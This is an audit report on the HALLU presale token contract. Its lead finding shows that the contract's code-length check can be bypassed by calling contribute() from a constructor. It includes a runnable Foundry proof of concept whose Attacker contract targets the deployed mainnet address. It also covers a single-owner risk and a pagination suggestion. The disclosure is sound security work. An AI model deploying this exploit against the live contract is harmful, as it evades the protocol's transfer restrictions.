Hallu Audit Report

Prepared by: 0xzerpa

2025-11-24

Table of Contents

Audit Summary

The HALLU contract is an ERC20 token designed for a presale mechanism. It allows users to contribute ETH in exchange for HALLU tokens and potentially mint NFTs based on deposit tiers. The contract implements custom transfer logic to restrict token holders from sending tokens to unapproved contract addresses ("unverified pools"). This audit was performed on the smart contract `0xD60145Eab53bfe23AD40c4840cFAB89e12CDE6f9`.

Auditors

- 0xzerpa: Independent Smart Contract Security Researcher with background on web and DeFi development.

Disclaimer

0xzerpa makes all effort to find as many vulnerabilities in the codebase. But holds no responsibilities for the findings provided in this document. This security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

This audit IS NOT a guarantee that the protocol is 100% free of bugs or vulnerabilities.

Main Invariants

- **Token Supply Consistency:** The Total Supply of HALLU tokens must always equal the sum of the balance held by the contract plus the balances of all external users. `TotalSupply = balanceOf(address(this)) + balanceOf(user)`

- **Deposit and Reward Monotonicity:** A user's recorded deposits and their `rewardBalances` must only ever increase with each successful contribution.

- **Presale Supply Limit:** The total number of HALLU tokens transferred out of the contract (via presale or rewards) must **not exceed the** `INITIAL_SUPPLY` held by the contract.

- **Level Claim Uniqueness (NFT Minting):** A user can only set the `levelClaimed` flag to true for any specific level **once**, preventing multiple NFT mint attempts for the same tier.

- **Unverified Pool Restriction (Intended):** Under active presale conditions, tokens **cannot be transferred** to an unapproved contract address. The protocol must ensure for every transfer: `If isUnverifiedPool(to) == true` the transaction must revert.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Findings

[H-1] Bypass of `_isUnverifiedPool` Check via Constructor Token Transfer

Description

The `HALLU` contract attempts to restrict token transfers to unapproved contract addresses (referred to as "unverified pools") by overriding the internal ERC20 `_update` function. This restriction relies on the internal helper function `_isContract(address account)` to determine if a target address (`to`) is a contract.

The `_isContract` function uses the conditional `account.code.length > 0`.

```
function _isContract(address account) internal view returns (bool) {
    return account.code.length > 0;
}
```

This is an **unsafe heuristic** for checks that occur during the deployment phase. When a new contract is being deployed, its constructor is executed, but the contract's bytecode has not yet been fully written to its address on the blockchain. Consequently, for any address calling back into the `HALLU` contract from its **constructor**, the `account.code.length` check returns **0**, causing `_isContract` to return `false`.

This allows a newly deployed contract to call the `contribute()` function, which transfers tokens to the caller via `super._transfer(address(this), msg.sender, amount)`, bypassing the "Unverified pool" check in `_update` because, at that moment, the calling contract is incorrectly identified as an "Externally Owned Account". This defeats the security purpose of the `_update` override and allows any contract to become an "unverified pool" and hold tokens against the protocol's design.

Exploit Flow

The vulnerability can be exploited by a malicious contract (the Attacker) during its deployment transaction.

1. A user deploys a malicious **Attacker** contract, sending the minimum required ETH (0.1 ETH or more) in the deployment transaction.
2. The **Attacker** contract's `constructor` immediately executes.
3. Inside the constructor, the **Attacker** calls `HALLU.contribute()` payable, sending the required ETH.

4. The `contribute()` function processes the deposit and calls the internal `super._transfer(address(this), msg.sender, amount)`, which triggers the overridden `_update` function.
5. Inside `_update`, the check `_isUnverifiedPool(to)` is executed, where `to` is the **Attacker's** address (`msg.sender`).
6. The `_isContract(Attacker)` check returns false because the Attacker's code size is still **zero** during its construction.
7. The entire `_isUnverifiedPool` check fails to detect the contract, and the `revert("Unverified pool")` is **bypassed**.
8. The token transfer is successfully executed, and the newly deployed **Attacker** contract holds `HALLU` tokens, effectively becoming an unverified pool.

PoC

To run this Proof of code, you must start a new foundry project. Then create a test file and paste the next code in it. Then run the command “forge test -vvv --fork-url https://ethereum-rpc.publicnode.com --via-ir”. (Feel free to replace the fork url with your own)

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";

// Define the HALLU minimal interface to interact with
interface IHALLU {
    function contribute() external payable;
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external;
}


contract HalluTest is Test {

    function testConstructorBypass() public {
        // --- 1. Setup ---
        IHALLU hallu =
IHALLU(address(0xD60145Eab53bfe23AD40c4840cFAB89e12CDE6f9)); // the current
PRD contract used
        uint256 expectedTokens = 105_000 * 10**18;

        // --- 2. The Attack (Deploying the Attacker Contract) ---
        uint256 depositAmount = 1 ether;
        vm.deal(msg.sender, depositAmount);
```

```
        Attacker attacker = new Attacker{value:
depositAmount}(address(hallu)); // The constructor immediately calls
hallu.contribute()

        // --- 3. Verification ---
        uint256 attackerBalance = hallu.balanceOf(address(attacker));
        assert(attackerBalance == expectedTokens);

        console.log("PoC SUCCESS! Attacker contract Hallu balance:",
attackerBalance);
        console.log("The Attacker bypassed the 'unverified pool' restriction
and now can act as an unverified pool. ");

    }
}

contract Attacker {
    address immutable halluAddress;

    uint256 public constant MIN_DEPOSIT = 0.1 ether;

    // In the constructor, we immediately perform the malicious action.
    constructor(address _halluAddress) payable {
        halluAddress = _halluAddress;
        IHALLU hallu = IHALLU(halluAddress);

        hallu.contribute{value: MIN_DEPOSIT}();
    }

    // A simple function to confirm the contract has a token balance.
    // Now can perform any unauthorized distribution activity
    function getBalance() public view returns (uint256) {
        return IHALLU(halluAddress).balanceOf(address(this));
    }
}
```

[L-1] Centralized Ownership by EOA

Description

The `HALLU` contract uses OpenZeppelin's `Ownable` pattern, assigning all administrative control (such as pausing the presale, setting the NFT contract, adding/removing approved pools, and rescuing tokens) to a single Externally Owned Account (EOA).

While this provides clear control, relying on a single EOA address introduces a **single point of failure** . If the private key of this EOA is compromised, lost, or the key holder becomes unavailable, the entire contract system—including funds and critical operations—becomes instantly vulnerable to malicious control or permanent lockdown.

For contracts managing significant value or critical operations, relying on a single EOA is a major security risk. It is strongly recommended to upgrade the ownership mechanism to a more robust, decentralized, and resilient solution:

- **Multi-Signature (Multisig) Wallet:** Transfer ownership of the `HALLU` contract to a well-established and audited Multi-Signature wallet solution (e.g., Gnosis Safe). This requires multiple independent signers (e.g., 3 out of 5 key holders) to approve any administrative action. This dramatically reduces the risk of human error, key loss, or insider compromise.
- **Time-Locked Contracts:** Implement a time-lock mechanism where all critical governance actions must be announced and wait for a mandatory delay period (e.g., 48 hours) before execution. This gives the community or auditors time to react to a suspicious transaction initiated by a compromised owner key.

[INFO] Scalability Improvement: Implement Pagination for getDepositors

The `getDepositors()` function retrieves the full list of all participants and their deposit amounts by iterating over the entire participantList array.

```
function getDepositors()external view returns (address[] memory,
uint256[] memory) {
        uint256 len = participantList.length;
        uint256[] memory amounts = new uint256[](len);
        for (uint256 i = 0; i < len; i++) {
            amounts[i] = deposits[participantList[i]];
        }
        return (participantList, amounts);
    }
```

As the number of participants (n) grows, the amount of data returned by this function will become excessively large. Although this is a view function and do not consume gas, returning large arrays is inefficient and cumbersome for client-side applications.

It is highly recommended to implement a pagination logic. This allows external clients to fetch the participant list in manageable batches (e.g., 10 or 100 entries at a time) rather than attempting to retrieve the entire dataset in a single call:

```
function getDepositors(

    uint256 fromIndex,

    uint256 toIndex

) external view returns (address[] memory, uint256[] memory) {

    // Determine the safe end index and calculate batch length

    uint256 totalParticipants = participantList.length;

    uint256 endIndex = toIndex > totalParticipants ? totalParticipants :
toIndex;

    // Safety checks for indices omitted for brevity in this simple
example

    uint256 batchLength = endIndex - fromIndex;

    address[] memory addresses = new address[](batchLength);

    uint256[] memory amounts = new uint256[](batchLength);

    for (uint256 i = 0; i < batchLength; i++) {

        uint256 listIndex = fromIndex + i;

        addresses[i] = participantList[listIndex];

        amounts[i] = deposits[participantList[listIndex]];

    }

    return (addresses, amounts);

}
```